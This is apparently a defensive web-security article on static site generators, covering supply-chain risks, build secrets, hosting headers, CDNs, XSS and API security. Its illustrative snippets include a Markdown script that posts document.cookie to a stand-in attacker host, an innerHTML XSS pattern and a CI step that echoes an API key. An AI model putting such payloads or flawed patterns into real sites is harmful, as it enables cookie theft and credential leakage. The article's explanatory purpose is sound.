Security considerations for static generated websites

Introduction

Static site generators have seen a renaissance in recent years. With tools like Hugo, Jekyll, and Eleventy, developers are increasingly turning to static sites for their speed, simplicity, and reduced attack surface. However, the perception that static sites are inherently secure can lead to complacency. While they do eliminate many traditional attack vectors, static sites introduce their own set of security considerations that must be addressed.

This article explores the security landscape of static generated websites, from the build process through to deployment and serving. We'll examine common vulnerabilities, mitigation strategies, and best practices to ensure your static site remains both performant and secure.

The security advantages of static sites

Before diving into vulnerabilities, it's worth understanding why static sites have gained a reputation for enhanced security:

Reduced attack surface Without server-side code execution or database connections, static sites eliminate entire categories of vulnerabilities. SQL injection, remote code execution, and server-side request forgery (SSRF) become non-issues when there's no dynamic server component to exploit.

Simplified infrastructure Static sites can be served from simple storage buckets or content delivery networks (CDNs), removing the need to maintain and secure complex server infrastructure, databases, and runtime environments.

Immutable deployments Each build produces a complete, immutable version of the site. This approach limits the opportunity for an attacker to modify files after deployment, as each deployment is a complete replacement rather than an update to existing files.

Content validation during build Static site generators typically perform validation during the build process, catching many issues before they reach production. This contrasts with dynamic sites where content validation often happens at runtime.

Vulnerabilities in the build process

Despite these advantages, security concerns begin at the build stage:

Supply chain attacks

Static site generators rely heavily on dependencies and plugins. Each of these represents a potential attack vector if compromised.

# Example of a supply chain attack via NPM
# Malicious package named 'eleventy-plugin-syntax-highlight-malicious'
npm install eleventy-plugin-syntax-highlight-malicious

The consequences can be severe:

Theft of API keys and secrets from environment variables
Compromise of deployment credentials
Injection of malicious code into the generated site

Mitigation strategies:

Use lockfiles (package-lock.json, yarn.lock) to pin exact dependency versions
Implement dependency scanning in your CI/CD pipeline
Consider using tools like npm audit, Snyk, or Dependabot
Use private registries or proxies that scan packages before installation

Build environment security

The build environment itself presents several security concerns:

Secure handling of secrets: Environment variables containing API keys, deployment credentials, or other secrets must be properly secured and not leaked into the built output.
Build script injection: If your build process includes custom scripts, they could be vulnerable to injection attacks, especially if they process user-supplied content.
CI/CD pipeline security: Compromised CI/CD systems can lead to unauthorised deployment of malicious content.

# Example of a potential leak in a GitHub Action
name: Build and Deploy
on:
  push:
    branches: [ main ]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Build
        env:
          API_KEY: ${{ secrets.API_KEY }}
        # Dangerous: Exposes API key in build logs
        run: |
          echo "Using API key: $API_KEY"
          hugo --baseURL https://example.com/

Mitigation strategies:

Use dedicated build servers or trusted CI/CD providers with security features
Implement the principle of least privilege for build processes
Scan built output to ensure secrets haven't been accidentally included
Validate that user-supplied content (like Markdown files) can't execute arbitrary code during build

Content security risks

User-generated content incorporated into static sites presents unique challenges:

Markdown rendering vulnerabilities: Most static site generators use Markdown processors that may have vulnerabilities or might render raw HTML by default.
Unsafe content interpolation: Template engines can introduce cross-site scripting (XSS) vulnerabilities if they don't properly escape dynamic content.
Third-party content: External content sources included at build time could inject malicious code.

<!-- Example of a potentially dangerous Markdown file -->
# Welcome to our site

<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookies: document.cookie})
  });
</script>

Mitigation strategies:

Configure Markdown renderers to disable raw HTML or sanitise it
Use template systems that escape content by default
Validate and sanitise third-party content before inclusion
Implement a content security policy (CSP) as an additional layer of protection

Deployment and hosting vulnerabilities

After the build process, several security considerations arise during deployment and hosting:

Deployment security

The process of transferring files from the build environment to production introduces risks:

Unauthorised deployments: Weak authentication or exposed deployment credentials can allow attackers to deploy malicious content.
Man-in-the-middle attacks: Insecure deployment methods might allow interception and modification of files during transfer.
Incomplete deployments: Partial deployments can lead to inconsistent states where some pages reference assets that haven't been uploaded yet.

Mitigation strategies:

Use secure, authenticated deployment methods (HTTPS, SSH, or authenticated APIs)
Implement atomic deployments that only switch to the new version once all files are in place
Consider using signed deployments to verify authenticity
Implement deployment approval workflows for critical environments

Hosting configuration

Even static sites require proper server configuration:

# Example of secure Nginx configuration
server {
    listen 443 ssl http2;
    server_name example.com;

    # SSL configuration
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    # Security headers
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    root /var/www/html;
    index index.html;

    # Prevent access to hidden files
    location ~ /\. {
        deny all;
    }
}

Common hosting misconfigurations include:

Missing or weak HTTP security headers
Improper MIME type configuration
Directory listing enabled
Failure to redirect HTTP to HTTPS
Caching headers that prevent timely security updates

Mitigation strategies:

Implement proper HTTP security headers
Configure appropriate MIME types
Disable directory listings
Enforce HTTPS using HSTS
Set appropriate caching policies that balance performance and security

CDN and edge security

Most static sites are served through CDNs or edge networks, introducing additional considerations:

CDN configuration: Misconfigured CDNs can bypass security headers or cache sensitive content.
Origin protection: The origin server should be properly secured, even if most traffic goes through the CDN.
DDoS protection: While CDNs provide some protection, additional measures may be needed for high-profile sites.

Mitigation strategies:

Review and test CDN security configuration
Implement proper authentication for origin access
Consider WAF (Web Application Firewall) rules for additional protection
Test CDN behaviour with security headers and caching directives

Client-side security concerns

While static sites eliminate server-side vulnerabilities, client-side security remains critical:

Cross-site scripting (XSS)

Static sites are not immune to XSS attacks, especially when they include:

JavaScript that processes URL parameters
Client-side rendering frameworks
Third-party scripts and widgets
User-generated content displayed without proper sanitisation

// Vulnerable client-side code
document.addEventListener('DOMContentLoaded', () => {
    // Dangerous: Directly inserts URL parameter into DOM
    const username = new URLSearchParams(window.location.search).get('user');
    document.getElementById('greeting').innerHTML = `Welcome, ${username}!`;
});

Mitigation strategies:

Implement a strict Content Security Policy (CSP)
Sanitise user inputs on the client side
Use frameworks that implement automatic escaping
Minimise use of innerHTML and prefer safer DOM manipulation methods

Third-party dependencies

Client-side dependencies introduce similar risks to build dependencies:

Script integrity: Third-party scripts can be modified either at source or in transit.
Outdated libraries: Vulnerable JavaScript libraries are a common attack vector.
Data leakage: Analytics, tracking, and other third-party scripts may expose user data.

Mitigation strategies:

Use Subresource Integrity (SRI) attributes for third-party scripts
Implement a strict CSP that limits script sources
Regularly audit and update client-side dependencies
Self-host critical JavaScript libraries when possible

<!-- Example of using SRI for a JavaScript library -->
<script src="https://cdn.example.com/alpine.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

API security for static sites

Many static sites interact with APIs for dynamic functionality:

Client-side API interactions

When static sites call APIs directly from the browser, several vulnerabilities emerge:

Exposed API keys: Client-side code may expose API credentials.
CORS misconfigurations: Overly permissive CORS policies can allow API abuse.
Lack of rate limiting: APIs called directly from browsers may be vulnerable to abuse.

Mitigation strategies:

Use API gateways or serverless functions as proxies
Implement token-based authentication with short lifespans
Configure proper CORS policies on APIs
Use rate limiting and throttling to prevent abuse

JAMstack security considerations

JAMstack architectures (JavaScript, APIs, and Markup) introduce specific concerns:

Authentication security: Client-side authentication must be implemented carefully.
Serverless function security: Functions that support static sites need proper security reviews.
Data persistence: Client-side storage (localStorage, IndexedDB) may contain sensitive data.

Mitigation strategies:

Use established authentication providers and libraries
Apply the same security standards to serverless functions as to traditional backends
Be cautious with client-side data storage and implement encryption when needed
Consider edge computing platforms that can execute code at the CDN level

Monitoring and incident response

Security doesn't end at deployment:

Content integrity monitoring: Regularly verify that your static content hasn't been modified.
Security scanning: Implement automated scanning for known vulnerabilities in your site.
Logs and analytics: Monitor for suspicious patterns that might indicate attempted exploits.
Incident response plan: Have a plan for quickly replacing compromised content.

Implementation approach:

Generate and store checksums of deployed files
Set up automated security scans with tools like OWASP ZAP
Implement logging at the CDN and hosting level
Create playbooks for common security incidents

Conclusion

Static generated websites offer significant security advantages by eliminating many traditional attack vectors. However, they require a shift in security focus rather than a reduction in security effort. By addressing vulnerabilities in the build process, deployment pipeline, hosting configuration, and client-side code, you can create static sites that are both performant and secure.

Remember that security is an ongoing process, not a one-time implementation. Regular audits, updates, and monitoring are essential components of a comprehensive security strategy for static sites.

Introduction

The security advantages of static sites

Vulnerabilities in the build process

Supply chain attacks

Build environment security

Content security risks

Deployment and hosting vulnerabilities

Deployment security

Hosting configuration

CDN and edge security

Client-side security concerns

Cross-site scripting (XSS)

Third-party dependencies

API security for static sites

Client-side API interactions

JAMstack security considerations

Monitoring and incident response

Conclusion

Further reading